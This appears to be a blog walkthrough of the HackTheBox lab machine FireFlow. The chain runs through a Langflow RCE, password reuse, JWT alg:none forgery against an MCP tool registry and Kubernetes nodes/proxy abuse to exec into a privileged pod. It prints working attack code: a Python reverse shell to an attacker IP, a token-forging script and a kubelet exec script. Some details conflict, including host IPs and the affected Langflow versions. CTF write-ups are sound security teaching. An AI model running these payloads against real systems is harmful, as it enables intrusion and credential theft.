HTB

HackTheBox: FireFlow

Machine IP: 10.129.5.237 / 10.129.6.42
Difficulty: Medium
OS: Linux

Tools Used

nmap - Port discovery
curl - HTTP requests
python3 - Exploit development
ssh - Remote access
jwcrypto / websockets (Python) - JWT exploitation & Kubernetes interaction
netcat - Reverse shells
kubectl - Kubernetes enumeration

Step 1: Reconnaissance - Port Scanning

Why We Start with Nmap

The first step in any penetration test is reconnaissance. We need to understand what services are running on the target machine, what ports are open, and what versions of software are being used. This information helps us identify potential vulnerabilities.

Nmap Command Explained

nmap -n -Pn -sV -sC 10.129.5.237

Flag Breakdown:

-n: Skip DNS resolution (faster scanning)
-Pn: Treat host as online (skip ping check)
-sV: Version detection - identifies service versions
-sC: Run default scripts - basic vulnerability checks

Nmap Results Analysis

Open ports discovered:

Port 22 (SSH) - OpenSSH 9.6p1 Ubuntu
- This is the Secure Shell service for remote administration
- Version 9.6p1 is relatively recent, likely no critical public exploits
Port 443 (HTTPS) - Nginx with SSL certificate
- The main web server running on HTTPS
- SSL certificate reveals domain: fireflow.htb
- Subject Alternative Names (SAN): fireflow.htb, *.fireflow.htb
- This tells us there may be subdomains to discover

Key Discovery: The SSL certificate’s SAN field is extremely valuable - it tells us the machine is configured for multiple domains, potentially including subdomains we should enumerate.

Hosts File Configuration

echo "10.129.5.237 fireflow.htb" | sudo tee -a /etc/hosts

Why This Matters: The web server uses virtual host configuration. If we access the IP directly, the server won’t know which website to serve. By adding fireflow.htb to our hosts file, we ensure our browser and tools can resolve the domain correctly.

Step 2: Web Enumeration - FireFlow Platform

Website Overview

Visiting https://fireflow.htb reveals “FireFlow” - an intelligence automation platform for Task Force Nightfall.

What We See: The page describes itself as “Active-defense tooling for the joint mission cell” and mentions “Task Force Nightfall’s internal intelligence automation platform.” This context is important because:

It suggests a custom application
The “Nightfall” name appears multiple times (this becomes important later)
The platform likely handles sensitive data

Discovery: The “Open Agent” button redirects to a subdomain:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

Why This Matters:

This reveals a subdomain (flow.fireflow.htb)
The URL contains a UUID-like ID (7d84d636-af65-42e4-ac38-26e867052c25)
This ID is likely a flow_id used by the application
The path /playground/ suggests this is a testing/development environment

Add the subdomain to hosts:

echo "10.129.244.214 flow.fireflow.htb" | sudo tee -a /etc/hosts

Version discovery:

/app/v1/version

Why We Check Versions: Software version information helps us:

Identify known vulnerabilities (CVEs)
Understand the technology stack
Find public exploits that might work

Langflow Version: 1.8.2

What is Langflow? Langflow is a popular open-source tool for building AI-powered agents and workflows. It’s used to create LLM (Large Language Model) applications visually.

Why This Version Matters: Version 1.8.2 has a known critical vulnerability - CVE-2026-33017 - which allows unauthenticated remote code execution. This is our entry point.

Step 3: CVE-2026-33017 - Langflow Unauthenticated RCE

Understanding the Vulnerability

CVE-2026-33017 is a critical Remote Code Execution (RCE) vulnerability in Langflow versions before 1.8.2.

How It Works:

Langflow has an endpoint: /api/v1/build_public_tmp/{flow_id}/flow
This endpoint is supposed to allow users to preview flows
However, it doesn’t properly sanitize input
An attacker can send crafted Python code in the request
The server executes this code with exec() - no sandboxing!
This happens WITHOUT authentication

The Only Requirement: A valid flow_id - which we already found in the URL!

Exploitation

Flow ID Obtained:

7d84d636-af65-42e4-ac38-26e867052c25

Why We Use a Public POC: Public proof-of-concept code saves time and reduces errors. We found a repository specifically for CVE-2026-33017.

In the search results there was a public poc repo so let’s clone it and try that exploit

git clone https://github.com/EQSTLab/CVE-2026-33017.git

The error was because we are trying to connect to a HTTPS server with an unknown certificate so let’s fix that. In the send_payload() function we see that the requests options doesn’t have verify=False so let’s add it

Why This Works: In penetration testing, we often encounter self-signed certificates. Since we’re in a controlled environment and not worried about man-in-the-middle attacks, disabling certificate validation is acceptable for exploitation.

Setting Up the Reverse Shell

Listener (Terminal 1):

#In new terminal
nc -lvnp 4444

nc flags explained:

-l: Listen mode (act as a server)
-v: Verbose output (show connection details)
-n: No DNS resolution
-p 4444: Listen on port 4444

Why Port 4444? It’s a common, non-standard port that’s less likely to be blocked by firewalls.

Running the Exploit

#New another terminal
python3 exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.14.163 --lport 4444

Arguments Explained:

--url: The base URL of the Langflow instance
--flow-id: The flow ID we discovered
--lhost: Our local IP address (where the reverse shell connects back to)
--lport: The port our listener is on

Result(Shell Obtained):

www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

What User Are We? www-data is the default web server user on Linux systems. This is a low-privilege user with limited permissions.

Why This Matters: We’re inside the system, but we need to escalate privileges. The www-data user typically:

Cannot write to most directories
Cannot run sudo
Has limited access to sensitive files

Step 4: Privilege Pivot - Password Reuse Attack

Understanding Password Reuse

Password reuse is one of the most common security failures. When a password is used in multiple places, compromising one system often leads to compromising others.

Finding the .env File

www-data@fireflow:/var/lib/langflow$ cat /etc/langflow/.env

What is .env? Environment files store configuration variables for applications. They often contain:

Database credentials
API keys
Application secrets
User passwords

Contents Discovered:

LANGFLOw_AUTO_LOGIN=FALSE
LANGFLOw_SUPERUSER=langflow
LANGFLOw_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf41l
LANGFLOw_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOw_CONFIG_DIR=/var/lib/langflow
LANGFLOw_LOG_LEVEL=warning
LANGFLOw_NEW_USER_IS_ACTIVE=FALSE
LANGFLOw_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

Analysis:

LANGFLOw_SUPERUSER: The admin username is langflow
LANGFLOw_SUPERUSER_PASSWORD: The admin password is n1ghtm4r3_b4_n1ghtf41l
Notice the pattern: “nightmare for nightfall” - this connects to “Task Force Nightfall”!

Password Reuse

www-data@fireflow:/var/lib/langflow$ cat /etc/passwd | grep nightfall
nightfall:x:1000:1000::/home/nightfall:/bin/bash

What is /etc/passwd? This file stores user account information on Linux systems. Each line represents a user with fields separated by colons.

Why This User Matters: We found a user named nightfall on the system. This matches the “Task Force Nightfall” branding we saw on the website. The password we found might be reused here!

The Password Reuse Hypothesis

Our Assumption:

The Langflow superuser password (n1ghtm4r3_b4_n1ghtf41l)
Might also be the password for the nightfall user
This is common in development environments where convenience > security

Test password on nightfall:

ssh nightfall@fireflow.htb
Password: n1ghtm4r3_b4_n1ghtf41l

Why SSH? SSH (Secure Shell) gives us a proper interactive shell with more privileges and stability than our reverse shell.

Result: SUCCESS! We’re logged in as the nightfall user!

What Changed?

nightfall is a real user with a home directory
We have better stability (SSH doesn’t die like reverse shells)
We can access this user’s files

User Flag:

nightfall@fireflow:~$ cat user.txt
<user-flag>

Note

*Incidently rest lab machine IP so change ip 10.129.5.237 to 10.129.6.42

Step 5: MCP Server - JWT Algorithm Confusion (CVE-2026-29000)

What is MCP?

MCP stands for Model Context Protocol. It’s a framework for building AI tool integrations. In this case, it’s running as a service on the machine.

Discovering MCP Configuration

nightfall@fireflow:~$ cat ~/.mcp/config.json

Content:

{
  "server": "http://10.129.244.214:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langflow@mcp2026!"
}

What We Learned:

There’s a service running on port 30080
It has credentials: langflow-bot / Langflow@mcp2026!
It has a status endpoint we can query

Exploring the MCP Server

nightfall@fireflow:~$ curl -s http://10.129.244.214:30080/api/v1/version | python3 -m json.tool

Response:

{
  "service": "MCP AI Tool Registry",
  "version": "0.1.0",
  "auth": {
    "type": "JWT",
    "header": "Authorization: Bearer <token>",
    "supported_algorithms": ["HS256", "none"]
  },
  "docs": "/docs",
  "endpoints": [
    "POST /mcp [MCP JSON-RPC 2.0]",
    "POST /api/v1/auth",
    "GET /api/v1/tools",
    "POST /api/v1/tools [admin]"
  ]
}

Critical Discovery: The server supports the none algorithm for JWT (JSON Web Tokens)!

Understanding JWT and the Vulnerability

What is JWT? JSON Web Tokens are a standard for representing claims securely between parties. They consist of three parts:

Header - Contains the algorithm used
Payload - Contains the actual data (claims)
Signature - Validates the token hasn’t been tampered with

The Algorithm Confusion Vulnerability:

The none algorithm means the signature is not used
An attacker can change the algorithm in the header to none
The server will skip signature verification
The attacker can forge ANY claims

Why This Matters: We can create our own JWT with role: admin and the server will accept it!

Getting a User JWT Token

USER_JWT=$(curl -s -X POST http://127.0.0.1:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langflow@mcp2026!"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
 
echo $USER_JWT

Why Localhost? We’re using SSH tunneling through nightfall to access the service via 127.0.0.1:30080 instead of the internal IP.

What This Does:

Authenticates to the MCP server using the credentials we found
Receives a JWT token
Stores it in the USER_JWT variable

Decoded Token:

echo $USER_JWT | cut -d. -f2 | base64 -d 2>/dev/null

JWT Structure:

Part 1 (Header): Base64 encoded JSON
Part 2 (Payload): Base64 encoded JSON
Part 3 (Signature): The signature

Decoded Payload:

{"sub":"langflow-bot","role":"user"}

Analysis: Our token has role: "user". To perform administrative actions, we need role: "admin".

Crafting a Forged Admin JWT Token

The craft.py script:

cat > craft.py << 'EOF'
import base64, json
 
def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
 
header = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token = f"{header}.{payload}."
 
print(token)
EOF
 
python3 craft.py

Step-by-Step Explanation:

b64url() function: Encodes data to base64 URL-safe format and removes padding
We create a header: {"alg":"none","typ":"JWT"}
We create a payload: {"sub":"attacker","role":"admin"}
We combine them: header.payload. (notice the trailing dot)
The trailing dot is important - it represents an empty signature

Forged Token:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

save Token to variable ADMIN_JWT

Registering a Malicious Tool

ADMIN_JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9."
 
curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
-d '{
  "name":"shell",
  "description":"debug shell",
  "inputSchema":{"type":"object","properties":{}},
  "code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(1)\ns=socket.socket()\ns.connect((\"10.10.14.163\",4444))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'

Response:

{"status":"registered","name":"shell"}

What This Does:

Uses our forged admin token to authenticate
Registers a new tool called shell
The tool’s code is a Python reverse shell

Reverse Shell Code Explained:

os.fork(): Creates a child process
os.setsid(): Creates a new session (detaches from parent)
socket.socket(): Creates a network socket
s.connect(): Connects to our listener IP and port
os.dup2(): Redirects stdin, stdout, stderr to the socket
pty.spawn(): Spawns an interactive shell

Triggering the Reverse Shell

Listener Setup:

#new terminal
nc -lvnp 4444

Trigger:

curl -s -X POST http://127.0.0.1:30080/mcp \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

What Happens:

The request calls the tool we registered
The server executes our Python code
A reverse shell connects back to our listener
We now have shell access inside the MCP pod

Result:

$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
$ whoami
mcp

Shell Upgrade:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 6: Kubernetes Enumeration - nodes/proxy Abuse

Identify Kubernetes Environment

mcp@mcp-server-54464cb475-29ztf:/$ ls -la /var/run/secrets/kubernetes.io/serviceaccount/

What We Found:

token - Service account authentication token
ca.crt - Cluster CA certificate
namespace - Current namespace (default)

What This Tells Us: We’re inside a Kubernetes pod! The service account files are automatically mounted by Kubernetes.

mcp@mcp-server-54464cb475-29ztf:/$ env | grep KUBERNETES

Environment Variables:

Analysis:

10.43.0.1 is the Kubernetes API server
We can interact with the API using our service account token

Understanding Kubernetes RBAC

RBAC = Role-Based Access Control. It determines what a service account can do in the cluster.

Checking Our Permissions

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API=https://10.43.0.1:443
 
curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
| python3 -m json.tool

Critical Permission Found:

{
    "verbs": ["get"],
    "apiGroups": [""],
    "resources": ["nodes/proxy"]
}

The nodes/proxy permission allows executing commands on any pod in the cluster via the kubelet API

Why nodes/proxy is Dangerous

What is nodes/proxy? It’s a Kubernetes subresource that allows you to:

Proxy HTTP requests to the kubelet on a node
The kubelet runs on port 10250
Through the proxy, you can reach ANY kubelet endpoint

Kubelet Endpoints:

/pods - List all pods on the node
/exec - Execute commands in containers
/run - Run commands non-interactively

Attack Vector: With nodes/proxy access, we can execute commands in ANY container on the node, even if the pod doesn’t have the right permissions!

Finding a Privileged Pod

curl -sk "https://10.129.6.42:10250/pods" \
-H "Authorization: Bearer $TOKEN" \
| python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data['items']:
    ns=item['metadata']['namespace']
    name=item['metadata']['name']
    vols=[v for v in item['spec'].get('volumes',[]) if 'hostPath' in v]
    for c in item['spec']['containers']:
        if c.get('securityContext',{}).get('privileged') and vols:
            paths=[v['hostPath']['path'] for v in vols]
            print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}')
"

What This Code Does:

Queries the kubelet on port 10250 for all pods
Checks each pod for:
- securityContext.privileged: true (privileged container)
- hostPath mounts (access to host filesystem)
Prints matching pods

Result:

[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: ['/proc', '/sys', '/']

Why This Pod is Perfect:

It’s privileged - runs with root privileges
It mounts /host (the host filesystem)
We can exec into it and access the host filesystem!

Step 7: Container Escape - Root Access

kube_exec.py Script

cat > /tmp/kube_exec.py << 'EOF'
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets
 
NODE = "10.129.6.42"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'
 
async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    args = "&".join(f"command={part}" for part in cmd_parts)
    url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
           f"?output=1&error=1&{args}")
    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass
 
asyncio.run(ws_exec(COMMAND.split()))
EOF

Script Explanation:

WebSocket Connection: The kubelet uses WebSockets for exec commands
SSL Configuration: We ignore certificate validation (self-signed)
URL Construction:
- wss://{NODE}:10250/exec/{namespace}/{pod}/{container}
- With query parameters for the command
Authentication: We use our service account token in the header
Output Reading: The kubelet sends multiplexed streams (stdout, stderr)

Installing Required Module

# Install websockets if needed
pip3 install websockets
 
# Read root flag
python3 /tmp/kube_exec.py "cat /host/root/root/root.txt"

Reading the Root Flag

Result:

b262d4acd59e9715312ba3d59021f921
{"metadata":{},"status":"Success"}

Pasindu's Blog

Explorer

Fireflow - Complete Walkrhrough

HTB

HackTheBox: FireFlow

Tools Used

Step 1: Reconnaissance - Port Scanning

Why We Start with Nmap

Nmap Command Explained

Nmap Results Analysis

Hosts File Configuration

Step 2: Web Enumeration - FireFlow Platform

Website Overview

Step 3: CVE-2026-33017 - Langflow Unauthenticated RCE

Understanding the Vulnerability

Exploitation

Setting Up the Reverse Shell

Running the Exploit

Step 4: Privilege Pivot - Password Reuse Attack

Understanding Password Reuse

Finding the .env File

Password Reuse

The Password Reuse Hypothesis

Step 5: MCP Server - JWT Algorithm Confusion (CVE-2026-29000)

What is MCP?

Discovering MCP Configuration

Exploring the MCP Server

Understanding JWT and the Vulnerability

Getting a User JWT Token

Crafting a Forged Admin JWT Token

Registering a Malicious Tool

Triggering the Reverse Shell

Step 6: Kubernetes Enumeration - nodes/proxy Abuse

Identify Kubernetes Environment

Understanding Kubernetes RBAC

Checking Our Permissions

Why nodes/proxy is Dangerous

Finding a Privileged Pod

Step 7: Container Escape - Root Access

kube_exec.py Script

Installing Required Module

Reading the Root Flag

Step 8: Machine Owned

Graph View

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